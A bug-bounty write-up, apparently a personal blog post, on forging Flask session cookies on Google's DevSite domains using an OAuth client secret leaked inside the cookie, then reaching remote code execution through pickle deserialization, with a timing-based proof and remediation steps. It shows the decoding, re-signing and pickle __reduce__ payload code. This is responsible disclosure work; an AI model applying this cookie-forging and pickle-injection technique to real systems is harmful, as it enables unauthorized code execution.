---
title: "How I Found a $90,000 Remote Code Execution Vulnerability in Google"
slug: how-i-found-a-90-000-remote-code-execution-vulnerability-in-google
url: https://listedarticles.com/articles/how-i-found-a-90-000-remote-code-execution-vulnerability-in-google
canonical_url: https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce
content_type: blog_post
language: en
published_at: 2026-10-12T00:00:00.000Z
updated_at: 2026-10-12T17:24:00.532Z
author: "Simon Koeck"
author_url: https://simonkoeck.com/
authored_by: human
publisher: "Simon Koeck"
publisher_url: https://simonkoeck.com/
topics: ["Security", "Web Development"]
license: all-rights-reserved
word_count: 915
reading_minutes: 4
citation: "Simon Koeck, Simon Koeck. \"How I Found a $90,000 Remote Code Execution Vulnerability in Google.\" 12 Oct 2026. https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce (all-rights-reserved)"
# The full text follows. The web page shows an extract and sends readers
# to the source above; quote the citation and link the canonical URL.
---

# How I Found a $90,000 Remote Code Execution Vulnerability in Google

> Simon Koeck explains how a Flask session cookie on developers.google.com carried the secret used to sign it, letting him forge sessions and chain that into remote code execution across seven Google DevSite domains, a bug Google rewarded with $90,000.

A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.

## How I found it

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit `/oauth2authorize`, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

```
curl -s -D headers.txt -o /dev/null \
  'https://developers.google.com/oauth2authorize?return_url=%2F'
```
The cookie is what caught my eye. Flask’s usual three-part `session=<payload>.<timestamp>.<signature>`, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

```
import base64
import json
import pickletools
import zlib
payload, timestamp, signature = cookie.rsplit(".", 2)
def b64decode(value):
    return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))
compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)
```
That gave me:

```
{
  "_permanent": true,
  "google_oauth2_csrf_token": "...",
  "google_oauth2_flow_<csrf>": {
    " b": "..."
  }
}
```
The `" b"` key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and `pickletools.dis` printed an `oauth2client.client.OAuth2WebServerFlow` object with its fields:

```
client_id     = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"
```
The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth `client_id` and `client_secret` in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask `SECRET_KEY`, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

## One secret, two jobs

A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.

Flask signs through `itsdangerous` with the `cookie-session` key derivation, so I recomputed the signature offline:

```
import hmac
derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
    derived_key,
    f"{payload}.{timestamp}".encode(),
    "sha1",
)
```
`expected` came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

## From forged cookie to code execution

The callback reads the flow back out of the session and unpickles it:

```
session cookie
  -> verify Flask signature
  -> read google_oauth2_flow_<csrf>
  -> base64-decode the bytes
  -> pickle.loads(...)
```
That `pickle.loads` is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

```
session = {
    "_permanent": True,
    "google_oauth2_csrf_token": "attacker-chosen",
    "google_oauth2_flow_attacker-chosen": {
        " b": base64.b64encode(attacker_blob).decode()
    },
}
```
The `state` parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to `pickle.loads`.

If you haven’t played with pickle before: the `REDUCE` opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to `time.sleep(N)`:

```
class Sleep:
    def __init__(self, seconds):
        self.seconds = seconds
    def __reduce__(self):
        return (time.sleep, (self.seconds,))
```
Same forged session every time, only the number changed:

```
time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s
```
The response time tracked the number in the pickle, which only happens if the server imported `time` and actually called `sleep(N)`.

Then the controls, to rule out a slow endpoint or jitter:

- No cookie: `Invalid request` .
- One flipped byte in the signature: `Invalid request` .
- Valid signature, no flow entry: `Invalid request state` .
- Valid signature with the real flow: reached Google’s token exchange and failed later with `invalid_grant` on my fake auth code.
- Valid signature with the sleep payload: delayed by exactly the number I picked.

## How far it went

This isn’t a single app, it’s the shared DevSite platform, so the key from `developers.google.com` signed valid sessions on:

- `firebase.google.com`
- `developer.android.com`
- `source.android.com`
- `docs.partner.android.com`

## Fixing it

Four things had to change, and they stack:

1. Rotate both exposed OAuth client secrets and kill every session signed with them.
2. Give each deployment its own high-entropy Flask `SECRET_KEY` from a server-side store, with nothing to do with an OAuth credential.
3. Keep the OAuth flow object on the server. The cookie should hold an opaque reference and nothing sensitive.
4. Drop `pickle` for anything crossing a client boundary. A data-only format with a schema check makes a forged cookie inert.

Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.

## Timeline

1.    Report submitted
2.    Triaged
3.    Accepted
4.    Reward decided: $90,000 Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.
5.    Fixed

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.
